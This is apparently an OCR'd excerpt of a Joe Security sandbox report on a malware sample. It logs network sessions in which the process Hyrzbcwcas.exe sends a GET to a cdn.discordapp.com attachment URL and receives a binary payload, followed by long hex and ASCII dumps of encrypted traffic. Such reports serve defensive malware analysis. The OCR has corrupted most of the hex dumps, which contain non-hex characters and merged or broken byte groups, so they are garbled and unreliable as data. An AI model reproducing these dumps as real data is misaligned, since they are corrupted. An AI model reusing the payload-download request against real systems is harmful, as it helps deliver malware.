Data Ascii: Q>-J-@ouZue|[y+fu{zXFb/"6,6!]MJ{11$DQ,eqpoWU~q$l0a_k0dj$]}Ft|=]yC{-<oH.9d1y\[UjuU](AD

2022-01-13 19:22:46 UTC 873 IN Data Raw: 32 b1 19 6¢ 39 13 32 b1 1e c5 f0 5b d6 2c a6 bb 81 0d 06 75 eb fO cf 91 2b 47 f1 a2 ab 18 f4 f7 08 79 86 f1 95
51 9d 42 8 8d 20 be bd 8a 99 3a e8 69 d0 36 f8 8d 20 ae €9 85 c6 3b aa e0 3b 44 9a cf da 3e 82 eb 84 a3 25 48 64 6a 26
ce 53 b2 c6 28 b7 50 6e 3c 82 ee 1a 8e d6 2b 20 83 39 10 a6 €3 e8 1le 87 64 22 dd b8 92 84 ef 8b 68 61 c8 46 67 bf fc f9
7d 9f 67 f6 cb a8 dc 76 54 57 ¢6 79 c9 c1 e7 94 82 a7 6b 9a 90 86 {7 26 9c f5 30 ff 2a fd 60 01 82 e4 13 73 8b 36 ff 7f 68
3c 89 79 91 4e 29 27 50 6¢ 23 58 07 d7 f0 4d ff 31 74 5a 01 d3 95 06 55 e7 c7 f5 48 40 f4 8¢ 9e c5 8f 7c 7a 72 64 45 88 1f
2c 55 a5 55 a4 d3 bb 86 90 a6 d4 3d 6f dd d1 df 1d 0d b4 ff 1d 28 b4 93 5e 5d c4 6a 34 84 8e a2 ce 20 91 29 42 fa 91 29
42 fa92 ab 62 41 78 18 55 81 b5 78 12 al 7c 4b
Data Ascii: 2192[,u+GyQB :i6 ;;D>%Hdj&S(Pn<+ 9d"haFg}gvTWyk&0* s6h<yN)'PI#XM1tZUH@|zrdE,UU=0("]j4 )B
)BbAXUX|K

2022-01-13 19:22:46 UTC 889 IN Data Raw: 73 e7 b5 79 €9 ec 72 69 86 90 a6 d7 c4 73 2e d6 a8 c0 11 3d 6e 63 b4 f4 99 4a 7d fe aa 97 34 c6 66 3f 71 ca
50 1b 3e f1 fd 18 9d 2a 0d 74 28 c3 9e €5 94 ad 7a 76 1e a8 84 8d 3d 5f bb d4 3c 1 fd 18 90 e5 e3 de 53 9f 21 f9 14 37 7d
fc a6 d6 1a a0 d7 ac 93 2f 01 eb ed f4 f7 09 a9 5f a7 59 ad 6a 5a 2f 50 19 1f 45 48 1c c7 bc 08 79 f4 84 8¢ {7 c3 e7 a7 5a
26 ee 76 70 60 3c e0 b1 70 60 3c ec 1b eb eb ba 18 d5 2e cf b2 f2 85 88 f8 8c e a4 a7 38 a0 ae 87 7b e3 de 53 8b 39 66
49 83 21 5d b7 7d 85 7c Oe €9 a9 2a a6 bl 6a 12 le a8 dc 4f 92 c3 fc 97 36 ba 69 b1 02 2a b7 18 f5 75 82 eb 92 ca 53 ec
17 01 95 8a 08 7a 76 6d dc 27 55 a5 55 c1 e0 39 24 d0 59 c4 01 b9 80 83 0a 7b 90 cd af 6b 96 e4 0d 6b a7 2d 25 55 c7 bb
d6 d3 b9 81 05 fe 3d 06 74 68 2b 2e a6 b8 90 c5 87
Data Ascii: syris.=ncJ}4f?qP>*t(zv=_<S!7}/_Y|Z/PEHyZ&vp <p <.8{S9fl!]}|*|O6i*uSzvm'UU9S$Y{kk-%U=th+.

2022-01-13 19:22:46 UTC 905 IN Data Raw: 76 24 d9 a7 30 a6 a7 3c 8f 5¢ 76 6b cd ae e9 €9 cd a7 cf b1 70 13 60 59 d9 ad Oa 1f 5e 59 fd 6a 37 03 83 7f 4f
91 39 66 49 8c 1f 25 af 68 4e 67 bf ea 1c c2 71 a3 3f 1c cf c6 6e 3e 92 d3 fe 9c c9 a5 55 a5 1c af ff 1f 2c ad 15 79 97 53 cd
c0 7e 16 ec 02 09 98 c0 54 24 b3 74 68 4b af 62 d2 3a €8 1a c6 7f 6d 9f 26 d3 d2 4d e2 39 05 8b 5e 3e f1 fd 18 98 99 33
ch aa e0 3d Ob 6f 9e ab 0d 6d ad 17 7f 62 39 23 33 59 ad 65 c2 1c 37 62 d9 c8 67 9e 8a da Of 5b ee 39 29 Ob 54 72 21 72
3c a9 01 ef f9 0f 08 36 d7 cO 11 7f 60 54 41 58 4e 71 8c f9 66 3a 86 €5 eb f1 ff 1c d2 57 c1 b3 10 ee 19 78 18 ee 19 6a 72
0380 ec le ad 63 c1 9348 77 96 c0 74 12 €6 16 9f 40 f7 Ob 74 06 1c 86 f4 el b4 91 40 86 fe ef fe 9e ¢7 a0 be 62 28 e0 3f
1d 47 e9 e9 e8 6b d5 cb c7 c9 a0 ce 32 d6
Data Ascii: v$0<\vkp Y"Yj709fI%hNgq?n>U,yS~T$thKb:m&M9">3=0mb9#3Ye7bg[9)Tr!r<6 TAXNgf:WxjrcHwt@t@b(?
Gk2

2022-01-13 19:22:46 UTC 921 IN Data Raw: 10 8b 1b 23 17 1a al 4c 16 98 b8 ff 5¢ 33 59 ad 63 33 59 ad 06 01 8b 7f 73 c8 €3 8e a2 8e a2 ce 30 d2 39 66
4989 17 1a al 4c 10 8b 3b 6a 52 1d 2a c5 9¢ c1 a3 51 9b 3f 73 b6 fb 13 12 ee 03 8f 40 db ad 37 61 9e ¢5 9c c1 93 2d 4b
8e a2 ce 30 d2 39 66 49 8f 24 b7 7d €6 65 c7 a0 da 4a Ob 00 71 52 1d 28 c0 65 bf ea 1a 8f 24 b7 7d fc 96 b4 f6 88 95 32
d6 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa 91 28 98 b8 ff 8d b4 6 88 95 32 d6 42 fa 91 29 42 fa 91 29 42 fa 91 29 42 fa
b9 81 05 43 5¢ 33 59 ad 67 cc 2b 47 85 Oe 87 13 12 8f 24 b7 7d fc 96 b f6 88 95 32 d6 42 fa 91 75 eb f0 bb 86 90 a6 d7
¢4 1a al 4c 10 8b 1b 22 53 9f 48 57 a8 dc 4f 97 36 df d5 bf 8f 24 b7 7b a8 dc 4f 07 f7 0b 00 68 19 1f 2 49 89 17 1a al 5¢
33 59 ad 67 cc 2b 47 85 Oe 87 03 ee 77 ef f9 Of 09
Data Ascii: #L\3Yc3Ys09fIL;R*Q?s@7a-K09fI$}eJqR (e$}2B)B)B)B(2B)B)B)BC\3Y g+G$}2BuL"SHWOB${Oh, \3Yg+Gw

2022-01-13 19:22:46 UTC 937 IN Data Raw: d7 3b 6a 14 f0 08 2b 3f 01 99 5e 54 61 d6 33 3d 0d 77 81 74 10 cb a9 5e 38 7 f4 7b 07 08 79 f4 cO 7c Oe eb al
28 b2 9c b5 09 99 5e 75 8b 77 8b 69 90 a6 d7 c4 08 86 6f 22 4c 10 8b 1b 23 70 11 69 b4 a7 3d 1d 46 77 9e a7 3d 6f dd d1
ba fb ec 8d df d5 bf 8f 24 fc f8 ef 93 7c 1e d8 28 b4 87 71 86 90 a6 d7 c8 dc b0 12 70 60 3c ec 72 2f 3e 91 4a 5a 4b fc 8 f9
7e 1d 4c 10 8b 1b 2f af 94 50 e6 65 c7 f2 e8 10 ef 97 53 ce 54 50 77 9b 4e 76 09 fb 13 12 81 fa 6e a4 2c c9 a5 55 el b2 of
2b 16 fc e4 0Of 7d 8d 42 9e 85 Oe 87 13 1f d3 44 01 15 16 98 ed 9c b0 9e b1 10 e0 18 f6 e3 b0 8f 60 4b 8e a2 ce 3e Oe 78
8e 5d b6 fb 51 ea 0a 1e d9 ac aa 91 47 €7 83 78 03 ae e9 ec 72 6a ad 98 47 7a 76 6d d9 c8 71 86 e3 8d 47 f4 e0 38 87 51
5 6b a6 b3 03 9d 43 7c 7a 66 b6 04 8f db cd
Data Ascii: ;j+?"Ta3=wt"8{y|(*uwio"L#pi=Fw=0$|(qp <r/>IZK~L/PeSTPwNvn,U+}BD K>x]QGxrjGzvmqG8QKkC|zf

2022-01-13 19:22:46 UTC 953 IN Data Raw: 96 b4 f6 c9 a0 9a bd ca aa 92 ¢4 68 3c a9 33 38 81 77 9b 6¢ 12 83 0a 3e c5 b8 ff 5¢ 00 80 83 4a 38 28 c0 51
ad 3359 ed c2 75 eb b0 db 91 29 02 5a 77 ef b9 b7 31 54 62 27 1e aa €0 58 26 bc 49 8d d4 3d 6f dd d1 b6 fb 13 12 8f 24
b7 7d fc 96 b4 f6 88 95 32 d6 42 fa 91 29 42 fa 91 29 42 bb 82 73 25 3b 6a 16 10 df f8 Oe 47 Oe 44 a3 a9 b5 87 ec 46 81
ec bl 70 21 35 ¢l fb 03 67 a8 85 57 2 40 c6 1e ee ff 48 02 93 0d 8d 44 ce cf d6 42 bb 82 12 e7 b2 32 e5 0f 82 d2 fa 90 a6
93 a5 05 de dO a4 10 d6 ba ef 06 8a ad de ba c7 a0 8b 1f 49 el ca ae 8d 79 ad 3d af 58 d5 40 b0 59 45 80 ¢3 87 13 07 7c
7a 76 6d db 74 68 Of 8a 01 52 e2 a3 6a d7 2c c9 e4 e2 fc 2e d2 4c 10 cf 3a b8 fa 6e 7b 71 86 a0 35 39 66 08 7d a2 a6 82
47 b6 17 91 7c 7a 76 6d 7 Ob 00 68 4f 68 b1 8f db cd
Data Ascii: h<38wlI>\J8(Q3Yu)Zw1Tb'X&I=0$}2B)B)Bs%;GDFp!5gW@HDB2ly=X@Y E|zvmthRj,.L:n{q59f}G|zvmhOh

2022-01-13 19:22:46 UTC 969 IN Data Raw: 62 35 5d f7 8a 31 54 22 b3 74 68 0a Oe 8b 1b 62 c0 bd 8a 99 3a €8 69 94 df 8d 20 ef 78 c1 93 2d 4b 8e a2 8a
€918 9d 02 ed 40 f5 06 75 eb f0 3f 02 10 8b 5a ae 51 9b 3f 73 e6 65 83 7b 58 2a 84 0d b8 ff 1c a6 d7 c4 5e 48 bf 8f 65 46
€3 97 36 df d5 bf cb d9 ¢8 23 74 e9 28 c0 11 0d 04 70 24 c7 20 ae a8 5d 7e 7f 01 ea 6e 5b f5 76 b9 81 44 7f cd ae e9 ec
72 64 01 9b 33 59 ec f3 d2 39 66 49 89 17 5e 48 cb a9 1f ad b3 74 68 4e 14 94 eb 80 f3 02 2d ca ff 1c a6 d7 c4 1a e5 93
5 06 34 5a f3 02 6¢ 57 a8 dc Ob 71 b2 f2 c1 12 6f dd d1 b6 fb 13 56 56 22 b3 35 dc ab 62 41 78 71 e2 18 ed 8c 9e 84 0d
ec 72 64 45 80 83 4e 64 d5 bf ce b1 9c c1 93 2d 4b 8e €6 14 b4 f6 c9 24 47 85 Oe 87 13 12 cb d8 12 8f 65 46 {7 Ob 00 68
4e 14 d0 45 dc 4f d6 c3 6f dd d1 b6 fb 13 56 56 de 53
Data Ascii: b5]1T"thb:i X--K@u?ZQ?se{X*"HeF6#t(p$ ]~n[vDrd3Y9fl*"HthN-4ZIWqoVV"5bAxqrdENd-K$GeFhNEOoVVS

2022-01-13 19:22:46 UTC 985 IN Data Raw: be 79 f4 ba 87 02 18 1d 28 c6 58 dd b7 5f cf b2 f2 ff e3 e3 c0 65 c7 a0 b5 87 36 1d al 44 b8 74 Oe 87 13 13 e4
889532 d6 47 6d d9 c8 21 31 bd 8a 99 3b 5b 59 a7 2d 4b 77 6f dd d1 b6 fb ef bc cf 64 cc e8 e0 Ob 56 71 02 a8 5f 56 ad
3246 03 e2 9e 98 5d 3d 46 27 1e 80 ab 4b a4 f3 26 94 ef dd f1 dO le ea 44 d3 9b 1b 63 ee 5d 96 90 e6 48 23 15 3c ac cf
92 8f 09 bb a2 ee 5d 9b 7f 41 55 80 a9 1e ea 4a 26 96 f4 c4 3e db €0 18 b4 d2 13 3a a8 9c ec 58 Oe c7 e0 72 49 ad 27 7e
55 80 ae a9 77 c5 b8 d7 84 cc 0f 29 68 Oe c7 8a b9 a5 15 56 66 6d f3 42 ba 44 d4 19 dc 11 a9 ad 9b 71 69 d5 cb 5f 3f 87
66 c2 43 bf 53 7d bf d6 19 e0 a7 a6 9a 55 al a7 59 ad 67 c1 7b f4 6f 77 e5 97 1c 9a ba 70 44 c2 46 52 03 9a fd 24 b4 7c
7a 76 6d dc f6 64 18 9e c5 dc cb f8 16 04 fd f3 02 a7
Data Ascii: y(X_e6Dt2Gm!1;[Y-KwodVq_V2F]=F'K&Dc]H#<]AUJ&>:XrI'~Uw)hVfmBDqi_?fCS}UYg{owpDFR$|zvmd

2022-01-13 19:22:46 UTC 1001 IN Data Raw: 6a b9 7e 80 78 d9 20 a6 3 46 88 57 a9 4f e8 b0 d4 24 cb 60 b9 52 34 c4 67 16 al 57 d4 77 c9 d1 6d 5c cf ea
e5ce 44 3e 74 3b aa 6b 16 67 33 a6 78 98 78 fa 52 e2 a3 ae 5e d1 b6 bb Ob ¢3 47 Oc d9 db 46 fc 69 35 50 f1 05 b3 f9 07
82 7f 49 76 9d 4d ee 3e 09 b3 ff 44 01 15 fO f1 15 ea 26 37 31 47 Oc 81 8e 60 b5 87 ec 89 f6 60 c0 53 14 57 21 62 73 92
e2 a4 99 bl 48 73 34 5e 28 4b 4d 92 eb b4 73 5e 38 27 3¢ 98 78 f4 14 57 50 59 52 ed f0 05 b1 88 ¢5 17 10 ff dc ca e7 6¢
94 f4 da 15 eb ¢8 21 44 27 06 65 2c 08 69 39 a7 55 d1 4b b6 eb 85 d7 fc cc 3e 1a 71 cb 55 e2 d7 d8 ad b7 54 de 04 fb 30
39 a6 d6 65 b2 2b 7e 7f fe 9a bd 6b 54 22 4c 10 8b f8 Oc 92 df 9f 72 11 f0 43 6b al 06 34 ae 30 ea 71 69 de d8 64 31 57
4a 88 cf b6 3c 6f d9 Oe 04 76 86 72 11 47 8d e7 64 4d 54
Data Ascii: j~x FWO$ R4gWwm\D>t;kg3xxR "GFi5PIVM>D&71G " SW!bsHs4NKMs"8'<xWPYRI!D'e,iQUK>qUT09e+~kT"L
rCk40qid1WJ<ovrGdMT
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Session ID Source IP

3 192.168.2.3
kBytes

Timestamp transferred

2022-01-13 19:22:56 UTC 1016

2022-01-13 19:22:56 UTC 1016

2022-01-13 19:22:56 UTC 1017

2022-01-13 19:22:56 UTC 1017

2022-01-13 19:22:56 UTC 1018

2022-01-13 19:22:56 UTC 1020

2022-01-13 19:22:56 UTC 1021

Copyright Joe Security LLC 2022

Source Port

49751

Direction

ouT

Destination IP Destination Port Process

162.159.135.233 443 C:\Users\user\Contacts\Hyrzbcwcas.exe

Data

GET /attachments/801846679439016010/931166967853875200/Hyrzbcwcaslizbwmlgsydewtjitxnzf HTTP/1.1
User-Agent: 85

Host: cdn.discordapp.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Thu, 13 Jan 2022 19:22:56 GMT

Content-Type: application/octet-stream

Content-Length: 488448

Connection: close

CF-Ray: 6cd0ff04883c7057-FRA

Accept-Ranges: bytes

Age: 21576

Cache-Control: public, max-age=31536000

Content-Disposition: attachment;%?20filename=Hyrzbcwcasllzbwmlgsydewtjitxnzf

ETag: "6ce484ddb0699821883415a6a3c03422"

Expires: Fri, 13 Jan 2023 19:22:56 GMT

Last-Modified: Thu, 13 Jan 2022 12:45:05 GMT

Vary: Accept-Encoding

CF-Cache-Status: HIT

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1642077905426119

x-goog-hash: crc32c=ezqS6w==

x-goog-hash: md5=bOSE3bBpmCGINBWmMo8AOIg==

X-g00g-metageneration: 1

x-goog-storage-class: STANDARD

X-goog-stored-content-encoding: identity

x-goog-stored-content-length: 488448

X-GUploader-UploadID: ADPycdvRzXtsPBcamJvrOOnxQdLhRIEMoAYpY8SiWiAVO9bYx2AneSLOMYtS-kyelcV-
aXT9cMB6Wue_WC7NzP4DAPhWzq96GQ

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6¢ 22 3a 22 68 74 74
7073 3a 5c¢ 2f 5¢ 2f 61 2e 6e 65 6¢ 2e 63 6¢ 6f 75 64 66 6¢ 61 72 65 2e 63 6f 6d 5¢ 2f 72 65 70 6f 72 74 5¢ 2f 76 33 3f 73
3d 53 56 6¢ 5a 70 77 42 4a 4f 67 54 4d 37 44 49 51 30 35 77 41 73 6f 5a 68 54 66 38 66 71 43 4f 35 61 43 53 51 53 69 65
66 41 73 37 43 76 39 65 63 4a 48 52 43 71 44 69 35 30 49 38 6a 72 47 69 51 77 4f 55 6e 57 55 4b 6a 4f 6¢ 56 4f 63 6a 4b
42 4e 46 32 58 54 4c 25 32 42 35 78 7a 48 4d 58 6a 41 73 38 4c 31 74 59 57 43 37 37 6d 73 64 47 72 4b 54 58 77 4f 43
79 68 64 48 4e 61 25 32 46 52 48 63 6e 42 56 59 50 39 73 77 25 33 44 25 33 44 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22
63 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30

Data Ascii: Report-To: {"endpoints":[{"url":"https:\/Va.nel.cloudflare.comVreport\/v3?s=SVIZpwBJOgTM7DIQO5WA
s0ZhTf8fqCO5aCSQSiefAs7Cv9ecIJHRCDI50I8jrGiQwOUNWUKjOIVOCKBNF2XTL%2B5xzZHMXjAs8L1tYWC77msd
GrkTXwOCyhdHNa%2FRHcnhBVYP9sw%3D%3D"}],"group™:"cf-nel","max_age":60

Data Raw: 18 da 04 39 22 7 4a 5b f6 c6 57 ec 36 9e 95 6a 0a 39 28 89 53 db 8c ce 77 al 05 b7 39 27 6e 03 b6 bc 46 4a
4f d3 fa c1 d4 73 af 2f 14 d5 ef al 14 d3 f5 4f d3 ff 5d e6 22 fd 51 df 91 68 1e f2 d8 01 a4 9a f9 4b cf e2 1b 6d 90 e2 18 dc
1f 74 30 95 7c 33 1d 6¢ 16 c8 64 Ob 49 cd ea 2f 00 30 8a de 1d 61 fa d5 fe ca 60 72 2d Of 4d d3 eb a8 84 cb e7 ae ad 23
74 38 a3 1f 65 83 4e 55 f4 dc 17 5d 8 c4 5e 7c 3b 3a af 25 73 a2 8a d8 16 c0 49 ce 7e 36 9b 7b b9 d1 f1 b3 3d 2b 03 af 3k
32 8e e5 ad 2e 89 53 de 03 a9 10 c2 51 df 94 ff 44 a6 90 e8 20 ea 2a 84 dc 08 37 28 84 c8 62 11 55 fc d1 f8 c4 5e 7c 3b
3aaf 25 73 a2 8a d8 16 c0 49 ce 7e 36 9b 7b b9 d1 f1 b3 3d 2b 03 af 3b 32 8e e5 ad 2e 89 53 de 03 a9 10 c2 51 df 94 ff
44 a6 90 e8 20 ea 2a 84 dc 2d 2e ac 8a c9 f7 58

Data Ascii: 9"J[W6j9(Sw9'nFJOs/O]"QhKmt0|3ldI/0a r-M#t8eNU]"|;:%sI~6{=+;2.SQD *7(bU"|;:%s|~6{=+;2.SQD *-.X

Data Raw: 6b 1f f7 d8 8a 47 5¢ f5 d7 06 af a5 86 4d 5a e2 82 5d 78 b5 ba cc e5 23 e6 bd 4c d7 1e 78 a0 00 b0 2f 8a 54 e3
03 2a 06 b5 a4 0d cd 68 8b c4 de 99 ff ce el 18 47 59 64 86 48 c8 fa 57 66 94 72 ba d6 9e 1a 6¢ 96 70 a0 11 ce el Ob ce
fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 f2 4f 4e db 03 28 00 bb 59 7f d2 f6 54 fd db 16 45 40 36 18 52 db Oc 4d 55 6e 80 5a
ed 2e 11 c4 d9 Oc 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 el 08 a7 9e 1le 7b 24 77 26 79 37 a7 90 6¢c 9e 07 33 82 59 61
64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea b1 b0 29 8e 7f d8 95 fa 4b 4a c5 45 5b 68 81 cc ee af ae 20 6d 03 36 04 bd 4c
d6 84 42 30 17 c8 fb dc 9c 03 2e Oe 42 22 7e a2 13 dO f5 c7 7e a7 82 5d 6a 81 c5 4f 5b 7d 27 fb d6 9d 8f ec a0 Oc 41 a4 0(
bb 54 fc 52 c4 c0 df 07 2a 04 a2 04 af b5 b0 2d 83

Data Ascii: KG\MZ]x#Lx/T*hGYdHWfrlp@)1rON(Y TE@6RMUNZ.EQYw7{$w&y7I3Yaday:5PH)KJE[h m6LBO0.B"~~]jO[}AT
R*-

Data Raw: e8 a0 00 a7 82 5f 6b 1f f7 d8 8a 47 5c¢ f5 d7 06 af a5 86 4d 5a e2 82 5d 78 b5 ba cc e5 23 e6 bd 4c d7 1e 78 a0
00 b0 2f 8a 54 €3 03 2a 06 b5 a4 0d cd 68 8b c4 de 99 ff ce el 18 47 59 64 86 48 c8 fa 57 66 94 72 ba d6 9e la 6¢ 96 70
a0 11 ce el Ob ce fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 f2 4f 4e db 03 28 00 bb 59 7f d2 f6 54 fd db 16 45 40 36 18 52 db
Oc 4d 55 6e 80 5a ed 2e 11 c4 d9 Oc 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 el 08 a7 9e le 7b 24 77 26 79 37 a7 90 6¢
9e 07 33 82 59 61 64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea bl b0 29 8e 7f d8 95 fa 4b 4a c5 45 5b 68 81 cc ee af ae 20
6d 03 36 04 bd 4c d6 84 42 30 17 c8 fb dc 9c 03 2e Oe 42 22 7e a2 13 d0 f5 ¢7 7e a7 82 5d 6a 81 c5 4f 5b 7d 27 fb d6 9d
8f ec a0 Oc 41 a4 00 bb 54 fc 52 c4 c0 df 07 2a 04 a2

Data Ascii: _kG\MZ]x#Lx/T*hGYdHWfrlp@)1rON(YTE@6RMUNZ.EQYW7{$w&y7I3Yaday:5PH)KJE[h m6LBO.B"~~]jO[}'A
TR*

Data Raw: e3 16 58 f2 49 58 e8 a0 00 a7 82 5f 6b 1f 7 d8 8a 47 5c¢ f5 d7 06 af a5 86 4d 5a e2 82 5d 78 b5 ba cc e5 23 e6
bd 4c d7 1e 78 a0 00 b0 2f 8a 54 e3 03 2a 06 b5 a4 0d cd 68 8b c4 de 99 ff ce el 18 47 59 64 86 48 c8 fa 57 66 94 72 ba
d6 9e 1a 6¢ 96 70 a0 11 ce el Ob ce fe 40 29 93 ee a8 1f eb 31 94 72 bc d4 f2 4f 4e db 03 28 00 bb 59 7f d2 f6 54 fd db 16
45 40 36 18 52 db Oc 4d 55 6e 80 5a ed 2e 11 ¢4 d9 Oc 45 51 59 77 37 a9 81 da 8f e6 a7 85 d2 el 08 a7 9e le 7b 24 77
26 79 37 a7 90 6¢ 9e 07 33 8259 61 64 94 61 79 3a 35 80 50 da 8a 48 de 8d ea bl b0 29 8e 7f d8 95 fa 4b 4a c5 45 5b 68
81 cc ee af ae 20 6d 03 36 04 bd 4c d6 84 42 30 17 c8 fb dc 9c 03 2e Oe 42 22 7e a2 13 dO f5 ¢7 7e a7 82 5d 6a 81 c5 4f
5b 7d 27 fb d6 9d 8f ec a0 Oc 41 a4 00 bb 54 fc 52 c4

Data Ascii: XIX_KG\MZ]x#Lx/T*hGYdHWfrlp@)1rON(YTE@6RMUNZ.EQYw7{$w&y7I3Yaday:5PH)KJIE[h m6LB0.B"~~]jO[
YATR
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kBytes
Timestamp transferred Direction Data

2022-01-13 19:22:56 UTC 1022 IN Data Raw: 72 al 86 4c b9 e6 la c1 15 d2 58 b8 39 39 ea b1 50 82 2e ad df 7a 7b 3e 2c a7 ce e6 37 c9 7e 56 2e 7f 2a 95
fc 52 df b7 80 b8 16 cc ae 52 4f b8 22 d1 cd 04 bl be 67 ea aa 87 68 ee 23 9a 03 4f c6 3f a5 f1 4d 20 74 6¢ 69 19 dc 1d e0
12 4a 6f f9 d6 0d 34 Of 5a ba bd bf 28 17 7d 88 48 63 71 a4 9e 6a ee 7e 57 67 72 72 df 04 d3 a2 bc db ¢3 79 4a b0 fc 36
db 78 b5 65 38 5f 1a bd 8b f8 32 62 45 af 08 86 9b fd a9 37 46 d7 a5 a6 b9 7e 6f 05 59 b4 27 99 17 1b 91 59 b6 57 84 9d
ed 87 Oe 26 6f a6 76 01 4f 58 4a 7e bc 61 9f 98 20 cb 9 21 8f 1a 50 c7 82 20 c9 74 fc de 07 82 24 db 6f 3d d1 e7 52 ad 31
75 39 de ea d4 ea 5¢ 76 b5 bd f3 05 59 e6 7e 08 a9 dd 66 7c 9f 26 96 69 33 1a 1c 96 de ea 1f 00 le bl f1 2d d5 31 d0 14
6b 57 b8 e3 08 5e 42 1e fe c9 6f 77 8d ee 03 31 f8
Data Ascii: rLX99P.z{>,7~V.*RRO"gh#0?M tliJo4Z(}Hcqgj~WgrryJ6xe8_2bE7F~0Y'YW&ovOXJ~a |P t$0=R1ud\vY~f|&i3-
1kW”Bowl

2022-01-13 19:22:56 UTC 1024 IN Data Raw: 2e Oa b1 fc 72 81 10 89 69 d4 f8 41 a9 f2 b1 39 fc 80 f5 13 d3 7b 2c bc ac 5a 6¢ 43 04 7e ad ae 37 df Ob ca 8c
84 f0 62 94 7a b7 da 4f 98 d2 3e d6 52 dO fc 43 f8 b9 ¢8 5f bf bf 8e 68 9c 0a e2 5f a5 37 6f af 6e 8f ef 3c af d1 0f 37 7c 50
14 5c e4 al 2b 18 fa dd cb 85 e4 b6 2b 85 b0 2c Oc 23 31 71 0f cc ea bb 8f 4e 4c 52 19 6e aa 2b 95 e5 46 cb 61 19 17 60
ce fb cf 62 09 5a 92 eb e8 1c 55 72 ab ae b2 8c eb 5a 27 4f 71 32 00 a5 20 50 f2 6¢ 54 53 6e 92 7e a8 92 6f 19 e7 e2 2a
3d b8 28 1d bc 4a 35 70 7b 8c 4f59 61 77 1b 3b 71 9e c6 31 96 73 33 87 43 fd 90 61 a4 f4 57 63 1d fe 2f €3 78 c3 94 d7
0d d6 9e 02 0Of 7f 7d 48 1b Oe 40 37 ab b5 f8 be 35 de 4c 3f b2 3f ba cd 9a 1d 87 51 84 f5 d5 71 2d 87 29 f1 5b f8 97 40 30
1f fd cf bb 13 81 fa 96 93 99 fa 45 4a dO b0
Data Ascii: .rA9{,ZIC~7bzO>RC_h_70n<7|P\++#1gNLRn+Fa'bZUrZ'0g2 PITSn~o0*=(J5p{OYaw;qls3CaWc/x}H@75L??
Qq-)[@0EJ

2022-01-13 19:22:56 UTC 1025 IN Data Raw: dc 9f 86 4d 6a 71 c6 4d 95 4e e4 al 8d ea 84 89 00 12 96 c8 d3 6e 9d 9d 55 20 29 a5 49 a7 bc cf 66 95 f4 3d
d1 ac f3 74 9a 7e a3 83 c5 45 4a c2 1c d6 ac 20 6f 12 b7 bf 53 67 d1 9e 34 1c 71 2f 55 3f e4 86 93 58 ce el Ob c6 79 bb
b3 a4 de 3c 26 60 f1 28 05 e4 7c 07 ff 31 8e 61 6¢ 85 b8 55 00 c7 aa 93 f9 c2 c1 5f 5e 23 31 da 57 82 42 34 0b cc 45 c9 ef
34 ¢4 3015 d4 eb 30 5¢c 70 25 11 15 3e 2e 0f da 9a 3d 28 81 98 bc 79 3b a2 00 a8 99 9c 76 22 b6 cb 71 25 f6 43 aa 86 c3
15 09 87 b4 27 f4 49 8¢ 96 bc 94 ba 28 7b 2d 95 el 78 7e 7c 19 1e d1 Oc 45 4d 59 97 fO af 8a 8f 5e 8b db 1f fe a5 bb 6b 8a
87 3fd1 67 03 25 1a 39 fa 5a 20 9e 6d 19 c9 71 d8 e6 c3 be 13 7d 55 69 05 24 41 Oe fc c9 a4 a9 14 5f 67 1b c0 0f 06 e7
e3 b1 3011 df 07 84 e5 8a 3af7 24 f5d4 el 15 31
Data Ascii: MjgMNnU )If=t~EJ 0Sg4q/U?Xy<&(|1alU_"#1WB4E400\p%>.=(y;v"'q%C'l({-Xx~|EMY"k?9%9Z mq}Ui$A_g0:$1

2022-01-13 19:22:56 UTC 1026 IN Data Raw: b2 30 01 3c 39 f5 27 95 ee 62 3f bc c1 54 ed c¢7 00 9a de 51 e5 2b 9e 09 2a ac f1 ce 6d cf c4 db 10 4b 5a e7 24
7abe 18 e5 31 9a 74 b6 a9 a6 53 b0 7 77 22 65 12 4e ed 22 51 03 €9 cb 75 25 f2 55 43 63 Oc 5c¢ 36 ef 4c d9 1a 6a fe 09
84 63 cd dc f6 5f 71 27 50 c5 fa 97 2b 6d 60 f7 dc 8f 47 27 0a 31 4e 38 42 2e 1d ea 3e 53 4c 78 75 ce 89 d1 77 3a a6 27
56 fc 92 da e7 2f 82 50 83 de 8a f5 Oe fd be c4 c6 ce 49 46 78 d6 5a 5a 16 4d 5d 7a 6b 05 64 6a 5a 5e 76 be da 87 cf dO
bf 13 11 7c 31 9e 10 5¢ 99 95 a2 c6 1b 55 €0 8¢ 49 54 5 6a 6e 20 b5 Oc b9 4c dc 86 b6 37 85 6d da 65 8d e4 b4 28 d0 f6
ac 15 Oc a5 7c b2 2c 1f 56 21 ¢8 58 29 3a 99 eb 2c Oe 88 fd b3 23 29 6f f0 ba ce 7 27 a9 59 35 42 d5 94 61 77 26 32 28
03 38 fb 6a 7b 32 19 d3 71 4f 3b e6 7f 77 4f 5e €9 3b
Data Ascii: 0<9'b?TQ+*mKZ$z1tSw"eN"Qu%UCc\6Ljc_g'P+m G'1IN8B.>SLxuw:'V/PIFXZZM]zkdjZ v|1\UITjn L7me(|
,VIX):,#)o'Y5Baw&2(8j{2q0;wO”;

2022-01-13 19:22:56 UTC 1028 IN Data Raw: 01 98 Ob d6 9e 19 5a 3d 17 86 8d 5a 89 c0 df 08 22 56 Ob c4 1d 54 86 57 69 1a bb 6a 3f 90 bf f3 ae 3b ac 3b
dd 30 8e 9c dd ff ad a7 8d fc e2 39 bb 51 8d 56 1c 62 9d 91 f6 6f 1f 55 ad 17 5¢ f1 3c 23 98 01 11 7a 6b fd 53 5f 6d 14 d1
